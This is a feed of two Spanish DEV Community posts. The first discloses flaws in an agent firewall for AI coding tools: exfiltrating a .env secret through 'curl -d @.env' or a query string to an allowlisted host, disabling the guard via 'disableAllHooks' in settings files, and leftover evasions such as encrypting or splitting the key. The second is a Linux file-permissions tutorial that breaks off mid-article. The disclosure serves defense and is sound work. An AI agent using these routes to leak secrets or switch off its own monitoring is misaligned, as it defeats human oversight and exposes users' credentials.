<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Valen Torassa</title>
    <description>The latest articles on DEV Community by Valen Torassa (@vtsecurity).</description>
    <link>https://dev.to/vtsecurity</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4194222%2Fd6e7d980-90ca-47fc-982c-f8b19d281143.png</url>
      <title>DEV Community: Valen Torassa</title>
      <link>https://dev.to/vtsecurity</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/vtsecurity"/>
    <language>en</language>
    <item>
      <title>La allowlist que igual deja salir el .env</title>
      <dc:creator>Valen Torassa</dc:creator>
      <pubDate>Thu, 05 Nov 2026 18:00:04 +0000</pubDate>
      <link>https://dev.to/vtsecurity/la-allowlist-que-igual-deja-salir-el-env-1lhn</link>
      <guid>https://dev.to/vtsecurity/la-allowlist-que-igual-deja-salir-el-env-1lhn</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Dos fallas que encontré en mi firewall para agentes: lo que la allowlist permite termina siendo la salida del secreto, y el agente puede reescribir la política que lo juzga. Qué cambió en 0.4.0 y qué no cubre.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://vtsecurity.com.ar/articulo/allowlist-que-deja-salir-el-env?ref=devto" rel="noopener noreferrer"&gt;Las animaciones interactivas están en el artículo original&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Código: &lt;a href="https://github.com/ValentinTorassa/VT-Agent-Firewall" rel="noopener noreferrer"&gt;VT-Agent-Firewall&lt;/a&gt;, Apache-2.0.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;VT-Agent-Firewall se para entre un agente de IA y sus herramientas. Corre como hook &lt;code&gt;PreToolUse&lt;/code&gt; en Claude Code y Codex, o como proxy delante de un servidor MCP, y decide cada llamada con una política default-deny antes de que corra. Parte de que el modelo ya está comprometido y se pregunta qué puede hacer todavía un agente inyectado.&lt;/p&gt;

&lt;p&gt;Lo presenté en la OWASP Village de Ekoparty y lo sigo en OWASP ROS:SEC (Rosario, 6 de noviembre). En el medio encontré dos fallas en mi propio código, las dos corregidas en &lt;a href="https://github.com/ValentinTorassa/VT-Agent-Firewall/releases/tag/v0.4.0" rel="noopener noreferrer"&gt;0.4.0&lt;/a&gt;: una allowlist que igual deja salir el &lt;code&gt;.env&lt;/code&gt; y un agente que puede reescribir su propia política.&lt;/p&gt;

&lt;p&gt;Las salidas de abajo son reales: el hook corrido contra un proyecto sintético, con una key de Stripe falsa en el &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt; y &lt;code&gt;https://docs.python.org&lt;/code&gt; en la allowlist, y la raíz del proyecto con permiso de escritura.&lt;/p&gt;

&lt;h2&gt;
  
  
  Falla 1: la allowlist que igual deja salir el &lt;code&gt;.env&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;.env&lt;/code&gt; estaba protegido, así que &lt;code&gt;cat .env&lt;/code&gt; se rechazaba. Pero &lt;code&gt;curl -d @.env&lt;/code&gt; no nombra ninguna ruta: el &lt;code&gt;@&lt;/code&gt; le dice a curl que lea el archivo y lo mande como cuerpo.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# 0.3.0
$ curl -d @.env https://docs.python.org/x
  -&amp;gt; allow (silent)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Desde &lt;a href="https://github.com/ValentinTorassa/VT-Agent-Firewall/issues/11" rel="noopener noreferrer"&gt;el issue #11&lt;/a&gt;, todo lo que pueda nombrar un archivo se revisa como ruta: el operando, &lt;code&gt;--opt=valor&lt;/code&gt;, &lt;code&gt;-d@.env&lt;/code&gt; y lo que venga después de un &lt;code&gt;=&lt;/code&gt; o un &lt;code&gt;@&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Eso cierra la lectura. La salida sigue abierta: si el secreto le llegó al agente por otro lado (un intérprete que aprobó una persona, un resultado de MCP, una copia que nadie protegió), cualquier destino permitido sirve para sacarlo, porque muchos aceptan query strings arbitrarios.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# antes de 0.4.0
WebFetch https://docs.python.org/3/search.html?q=sk_test_51Synthetic...
  -&amp;gt; allow (silent)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Que la lista nombrara &lt;code&gt;.env&lt;/code&gt; tampoco alcanzaba: &lt;code&gt;.env.local&lt;/code&gt;, &lt;code&gt;api/.env&lt;/code&gt; y, en macOS, &lt;code&gt;cat .ENV&lt;/code&gt; pasaban. Y el taint, que deja sin red a una sesión que tocó una ruta protegida, vivía en memoria. Un hook es un proceso nuevo en cada llamada, así que la siguiente arrancaba limpia.&lt;/p&gt;

&lt;p&gt;Una allowlist autoriza verbos y sustantivos: este binario, este origen, este directorio. La exfiltración tiene que ver con datos, y un firewall que solo conoce nombres solo puede proteger nombres.&lt;/p&gt;

&lt;p&gt;En 0.3.0 las tres requests llegan con la key; en 0.4.0 no llega ninguna:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgw1fc812uubxqvkxukcr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgw1fc812uubxqvkxukcr.png" alt="0.3.0: las tres requests llegan con el secreto adentro." width="800" height="627"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjjxzgmjg6d3i5f3jq92k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjjxzgmjg6d3i5f3jq92k.png" alt="0.4.0: las tres requests se rechazan y no llega ninguna." width="800" height="651"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Falla 2: el agente que reescribe su propia política
&lt;/h2&gt;

&lt;p&gt;El hook protegía su política y su log de auditoría, pero no los archivos que deciden si el hook corre:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# antes de 0.4.0
Write .claude/settings.local.json  {"disableAllHooks": true}
  -&amp;gt; allow (silent)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;disableAllHooks&lt;/code&gt; apaga todos los hooks en la sesión siguiente. Pasa lo mismo con un servidor nuevo en &lt;code&gt;.mcp.json&lt;/code&gt;, que corre sin el proxy, y con &lt;code&gt;.codex/config.toml&lt;/code&gt; en Codex. El proxy MCP tenía el mismo hueco con sus propios archivos (&lt;a href="https://github.com/ValentinTorassa/VT-Agent-Firewall/issues/8" rel="noopener noreferrer"&gt;issue #8&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;En 0.3.0 la sesión siguiente arranca sin firewall. En 0.4.0 la configuración queda protegida:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdimz06ysj9eoqgs9yg0u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdimz06ysj9eoqgs9yg0u.png" alt="0.3.0: la sesión siguiente arranca sin firewall y el agente lee el .env." width="800" height="505"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmgwwqezcv4wznigni9t1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmgwwqezcv4wznigni9t1.png" alt="0.4.0: se protege la configuración y se rechaza Read .env." width="800" height="505"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;La política también puede cambiar sin que el agente la nombre: un &lt;code&gt;git checkout&lt;/code&gt; permitido de una rama que trae otro &lt;code&gt;.claude/agent-firewall.json&lt;/code&gt; cambia las reglas entre dos llamadas. Si el agente puede cambiar la política, la política es una sugerencia.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué cambió en 0.4.0
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Se revisa el valor, no solo la ruta
&lt;/h3&gt;

&lt;p&gt;Una clave nueva de la política, &lt;code&gt;secret_files&lt;/code&gt;, lista los archivos cuyos valores no tienen que salir nunca. El firewall los lee y busca esos valores en cada string de cada request: tal cual, con percent-encoding, en hex y en base64, aunque estén metidos en un payload más grande. Si aparecen, rechaza con &lt;code&gt;secret-egress&lt;/code&gt; y marca la sesión.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WebFetch https://docs.python.org/3/search.html?q=sk_test_51Synthetic...
  -&amp;gt; deny: Blocked by agent firewall (secret-egress): the request carries the value of
     STRIPE_SECRET_KEY from the secret file project/.env: a secret value never leaves,
     through any tool, grant or allowed destination
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Nombres en cualquier lugar, sin distinguir mayúsculas
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;protected_names&lt;/code&gt; protege nombres como &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;.env.*&lt;/code&gt;, &lt;code&gt;*.pem&lt;/code&gt; o &lt;code&gt;.ssh&lt;/code&gt; donde sea que aparezcan en el proyecto, y la comparación ignora mayúsculas. &lt;code&gt;.env.local&lt;/code&gt;, &lt;code&gt;api/.env&lt;/code&gt; y &lt;code&gt;.ENV&lt;/code&gt; ahora se rechazan.&lt;/p&gt;

&lt;h3&gt;
  
  
  El taint sobrevive entre llamadas
&lt;/h3&gt;

&lt;p&gt;El hook anota las sesiones marcadas en un archivo protegido, al lado del log. Si no lo puede leer, todas quedan marcadas.&lt;/p&gt;

&lt;h3&gt;
  
  
  La configuración del host queda fuera de alcance
&lt;/h3&gt;

&lt;p&gt;El hook protege, existan o no, &lt;code&gt;.claude/settings.json&lt;/code&gt;, &lt;code&gt;.claude/settings.local.json&lt;/code&gt;, &lt;code&gt;.mcp.json&lt;/code&gt;, &lt;code&gt;~/.claude.json&lt;/code&gt; y la configuración de Codex. Que proteja un archivo que todavía no existe importa: crear &lt;code&gt;settings.local.json&lt;/code&gt; es el ataque.&lt;/p&gt;

&lt;h3&gt;
  
  
  La política lleva un pin
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;--policy-sha256&lt;/code&gt; fija el hash de la política. Si el archivo cambia, cada llamada se rechaza hasta que una persona lo revisa y fija el nuevo. El pin tiene que vivir fuera del proyecto, en &lt;code&gt;~/.claude/settings.json&lt;/code&gt; o en la configuración administrada: si está en el &lt;code&gt;.claude/settings.json&lt;/code&gt; del repo, quien reescribe la política reescribe el pin.&lt;/p&gt;

&lt;p&gt;La regla detrás de todo esto es la de la charla: la política y la evidencia no pueden estar al alcance de lo que vigilan.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué no arregla esto
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;secret-egress&lt;/code&gt; es un tripwire, no contención. Reconoce la key en base64, pero cifrada pasa:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fs2gpk86o0lyzivuftlav.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fs2gpk86o0lyzivuftlav.png" alt="La key en base64 se reconoce y se rechaza." width="800" height="435"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo90v0vp30qdx5ku1osem.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo90v0vp30qdx5ku1osem.png" alt="La key cifrada no se reconoce: pasa." width="799" height="412"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Partida en dos, invertida, comprimida o cifrada, la key pasa. Atrapa el «mandá la key a esta URL» ingenuo, que es lo que hacen las inyecciones, pero no a un agente que lo esquiva a propósito.&lt;/li&gt;
&lt;li&gt;No hay sandbox del sistema operativo: un intérprete que aprobó una persona puede leer y mandar cualquier cosa.&lt;/li&gt;
&lt;li&gt;Si el hook se pasa del timeout, el host corre la herramienta igual, y las herramientas que no están en el matcher no se ven.&lt;/li&gt;
&lt;li&gt;Una sesión nueva arranca sin taint.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Probalo
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="s1"&gt;'vt-agent-firewall&amp;gt;=0.4.0'&lt;/span&gt;
git clone https://github.com/ValentinTorassa/VT-Agent-Firewall &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;VT-Agent-Firewall
python3 scripts/run_demo.py                &lt;span class="c"&gt;# un agente inyectado, cada paso bloqueado y auditado&lt;/span&gt;
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; unittest discover &lt;span class="nt"&gt;-s&lt;/span&gt; tests &lt;span class="nt"&gt;-v&lt;/span&gt;   &lt;span class="c"&gt;# incluye los dos escenarios, antes y después&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;La instalación en Claude Code y Codex, el pin y un smoke test están en &lt;a href="https://github.com/ValentinTorassa/VT-Agent-Firewall/blob/main/docs/AGENT_HOOKS.md" rel="noopener noreferrer"&gt;docs/AGENT_HOOKS.md&lt;/a&gt;. El modelo de amenazas, mapeado al OWASP Top 10 for LLM Applications y al de Agentic Applications, está en &lt;a href="https://github.com/ValentinTorassa/VT-Agent-Firewall/blob/main/docs/THREAT_MODEL.md" rel="noopener noreferrer"&gt;docs/THREAT_MODEL.md&lt;/a&gt;. Si encontrás un bypass, abrí un issue con la reproducción: cada uno que apareció hasta ahora es un test de regresión.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>mcp</category>
      <category>espanol</category>
    </item>
    <item>
      <title>Permisos: quién puede hacer qué, y por qué chmod 777 no es la respuesta</title>
      <dc:creator>Valen Torassa</dc:creator>
      <pubDate>Tue, 03 Nov 2026 18:00:03 +0000</pubDate>
      <link>https://dev.to/vtsecurity/permisos-quien-puede-hacer-que-y-por-que-chmod-777-no-es-la-respuesta-56ii</link>
      <guid>https://dev.to/vtsecurity/permisos-quien-puede-hacer-que-y-por-que-chmod-777-no-es-la-respuesta-56ii</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Dueño, grupo y el resto. Cómo leer &lt;code&gt;ls -l&lt;/code&gt; y arreglar un 403 sin abrir todo.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Pasa así: subís la aplicación al server, entrás desde el navegador y te salta un 403. Buscás el error y la primera respuesta dice &lt;code&gt;chmod -R 777&lt;/code&gt;. Lo corrés y anda.&lt;/p&gt;

&lt;p&gt;Y ese es exactamente el problema. Funcionó, así que parece que estaba bien. Pero no arreglaste el permiso: lo sacaste del medio, y de paso le diste permiso de escritura a todos los procesos de la máquina sobre los archivos de tu aplicación.&lt;/p&gt;

&lt;p&gt;El 403 casi nunca viene del permiso del archivo, y hay dos comandos que te muestran de dónde viene antes de tocar nada.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué acabás de hacer
&lt;/h2&gt;

&lt;p&gt;En Linux cada archivo le responde a tres audiencias distintas: el dueño, el grupo y el resto. Para cada una hay tres permisos: leer, escribir y ejecutar. Nueve casilleros en total.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;777&lt;/code&gt; llena los nueve. En un servidor, "el resto" es cada proceso que corre en esa máquina. El servidor web, la base, el cron de backup, y cualquier cosa que haya entrado por una vulnerabilidad de otro servicio. A todos ellos les acabás de dar permiso de escritura.&lt;/p&gt;

&lt;p&gt;Si además ese directorio está dentro de la raíz del sitio, cualquiera de esos procesos puede dejar un archivo ahí y pedirle al servidor que lo ejecute. Ese es el camino corto entre "no me andaba" y "me minan cripto en el server".&lt;/p&gt;

&lt;h2&gt;
  
  
  Cómo se lee &lt;code&gt;ls -l&lt;/code&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; config.env
&lt;span class="nt"&gt;-rw-r-----&lt;/span&gt; 1 valen devs 214 sep  2 10:14 config.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Los primeros diez caracteres son el mapa entero. El primero dice qué es (&lt;code&gt;-&lt;/code&gt; archivo, &lt;code&gt;d&lt;/code&gt; directorio, &lt;code&gt;l&lt;/code&gt; enlace). Los nueve que siguen son tres grupos de tres, en orden: dueño, grupo, resto.&lt;/p&gt;

&lt;p&gt;En el &lt;a href="https://vtsecurity.com.ar/articulo/permisos-chmod-777?ref=devto#como-se-lee-ls-l" rel="noopener noreferrer"&gt;artículo original&lt;/a&gt; esto es una figura donde prendés y apagás cada casillero y ves cómo cambian &lt;code&gt;ls -l&lt;/code&gt; y el número. Arranca así:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                   leer  escribir  ejecutar   octal
                   (4)     (2)       (1)
dueño (vos)         r       w         -         6
grupo (devs)        r       -         -         4
otros (el resto)    -       -         -         0

ls -l config.env    -rw-r-----
$ chmod 640 config.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Los nueve casilleros de config.env, y el número que les corresponde.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Acá &lt;code&gt;rw-&lt;/code&gt; para &lt;code&gt;valen&lt;/code&gt;, &lt;code&gt;r--&lt;/code&gt; para el grupo &lt;code&gt;devs&lt;/code&gt;, y &lt;code&gt;---&lt;/code&gt; para el resto. En castellano: yo leo y escribo, cualquiera del grupo &lt;code&gt;devs&lt;/code&gt; lee, y nadie más lo toca. Eso es 640.&lt;/p&gt;

&lt;p&gt;La figura también trae cuatro valores comunes para probar. Lo que dice de cada uno:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;chmod &lt;/span&gt;600 config.env    &lt;span class="c"&gt;# -rw-------&lt;/span&gt;
&lt;span class="c"&gt;# Solo vos. Para un archivo con secretos, es lo que querés.&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;chmod &lt;/span&gt;640 config.env    &lt;span class="c"&gt;# -rw-r-----&lt;/span&gt;
&lt;span class="c"&gt;# El grupo puede leer. Sirve si el servicio corre con ese grupo.&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;chmod &lt;/span&gt;644 config.env    &lt;span class="c"&gt;# -rw-r--r--&lt;/span&gt;
&lt;span class="c"&gt;# Cualquiera con cuenta en la máquina puede leerlo. Para un .env, no.&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;chmod &lt;/span&gt;777 config.env    &lt;span class="c"&gt;# -rwxrwxrwx&lt;/span&gt;
&lt;span class="c"&gt;# Cualquiera con cuenta en la máquina puede modificarlo. No arregla el 403: lo esconde.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Los números
&lt;/h2&gt;

&lt;p&gt;Cada permiso vale un número: 4 leer, 2 escribir, 1 ejecutar. Se suman por audiencia y quedan tres dígitos.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Octal&lt;/th&gt;
&lt;th&gt;Dueño&lt;/th&gt;
&lt;th&gt;Grupo&lt;/th&gt;
&lt;th&gt;Resto&lt;/th&gt;
&lt;th&gt;Para qué&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;600&lt;/td&gt;
&lt;td&gt;rw-&lt;/td&gt;
&lt;td&gt;---&lt;/td&gt;
&lt;td&gt;---&lt;/td&gt;
&lt;td&gt;Un archivo con secretos: sólo vos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;640&lt;/td&gt;
&lt;td&gt;rw-&lt;/td&gt;
&lt;td&gt;r--&lt;/td&gt;
&lt;td&gt;---&lt;/td&gt;
&lt;td&gt;Config que el grupo necesita leer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;644&lt;/td&gt;
&lt;td&gt;rw-&lt;/td&gt;
&lt;td&gt;r--&lt;/td&gt;
&lt;td&gt;r--&lt;/td&gt;
&lt;td&gt;Un archivo estático público&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;750&lt;/td&gt;
&lt;td&gt;rwx&lt;/td&gt;
&lt;td&gt;r-x&lt;/td&gt;
&lt;td&gt;---&lt;/td&gt;
&lt;td&gt;Un directorio o script del grupo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;777&lt;/td&gt;
&lt;td&gt;rwx&lt;/td&gt;
&lt;td&gt;rwx&lt;/td&gt;
&lt;td&gt;rwx&lt;/td&gt;
&lt;td&gt;Ningún caso real&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Para un &lt;code&gt;.env&lt;/code&gt;&lt;/em&gt;, 600 y listo. Si el servidor web necesita leerlo, fijate con qué usuario corre: casi siempre es el equivocado.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  La &lt;code&gt;x&lt;/code&gt; en un directorio significa otra cosa
&lt;/h2&gt;

&lt;p&gt;Acá está la confusión que genera la mayoría de los 403, y es la razón por la que &lt;code&gt;777&lt;/code&gt; "funciona" sin que nadie entienda por qué.&lt;/p&gt;

&lt;p&gt;En un archivo, la &lt;code&gt;x&lt;/code&gt; significa ejecutar. En un directorio significa atravesarlo: poder pasar por él para llegar a lo que hay adentro. Son cosas distintas con la misma letra.&lt;/p&gt;

&lt;p&gt;Eso tiene una consecuencia que sorprende: un directorio con &lt;code&gt;r--&lt;/code&gt; te deja listar los nombres de lo que contiene, pero no abrir ni uno solo. Y un directorio con &lt;code&gt;--x&lt;/code&gt; no te deja listar nada, pero si sabés el nombre exacto del archivo, lo abrís sin problema.&lt;/p&gt;

&lt;p&gt;Por eso un permiso perfecto en el archivo final no alcanza. El proceso tiene que poder atravesar cada directorio del camino:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;namei &lt;span class="nt"&gt;-l&lt;/span&gt; /var/www/app/uploads/foto.jpg
f: /var/www/app/uploads/foto.jpg
 drwxr-xr-x root  root  /
 drwxr-xr-x root  root  var
 drwxr-xr-x root  root  www
 drwxr-x--- deploy deploy app      ← acá se corta
 drwxr-xr-x deploy deploy uploads
 &lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; deploy deploy foto.jpg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;El archivo está en &lt;code&gt;644&lt;/code&gt;, perfectamente legible. Pero &lt;code&gt;app&lt;/code&gt; es &lt;code&gt;750&lt;/code&gt; y pertenece a &lt;code&gt;deploy&lt;/code&gt;, y el servidor web corre como &lt;code&gt;www-data&lt;/code&gt;, que no está en ese grupo. No puede atravesar &lt;code&gt;app&lt;/code&gt;, así que nunca llega a &lt;code&gt;foto.jpg&lt;/code&gt;. &lt;code&gt;namei -l&lt;/code&gt; es la herramienta que te muestra esto de un saque, y es lo primero que abriría antes de tocar ningún permiso.&lt;/p&gt;

&lt;h2&gt;
  
  
  Casi siempre es un problema de dueño
&lt;/h2&gt;

&lt;p&gt;Cuando &lt;code&gt;777&lt;/code&gt; arregla un 403, lo que pasó es que tapaste un problema de pertenencia. El proceso corre como un usuario que no tiene nada que ver con el dueño de los archivos.&lt;/p&gt;

&lt;p&gt;La pregunta útil son dos comandos:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;ps &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;-C&lt;/span&gt; nginx | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;    &lt;span class="c"&gt;# ¿como quién corre?&lt;/span&gt;
www-data
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;stat&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'%U %G %a'&lt;/span&gt; /var/www/app   &lt;span class="c"&gt;# ¿de quién es y cómo está?&lt;/span&gt;
deploy deploy 750
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ahí se ve solo: &lt;code&gt;www-data&lt;/code&gt; contra &lt;code&gt;deploy deploy 750&lt;/code&gt;. La salida es que los dos se conozcan, sin abrir el directorio a todo el mundo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo chown&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; deploy:www-data /var/www/app
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo chmod&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; 750 /var/www/app
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ahora el dueño sigue siendo &lt;code&gt;deploy&lt;/code&gt;, el grupo pasa a ser &lt;code&gt;www-data&lt;/code&gt;, y el servidor entra por la puerta del grupo. El resto sigue afuera. El error desaparece igual que con &lt;code&gt;777&lt;/code&gt;, con la diferencia de que sabés por qué.&lt;/p&gt;

&lt;h2&gt;
  
  
  Si ya corriste el 777
&lt;/h2&gt;

&lt;p&gt;No hace falta adivinar qué tocaste. &lt;code&gt;find&lt;/code&gt; te lo dice, y te lo arregla:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
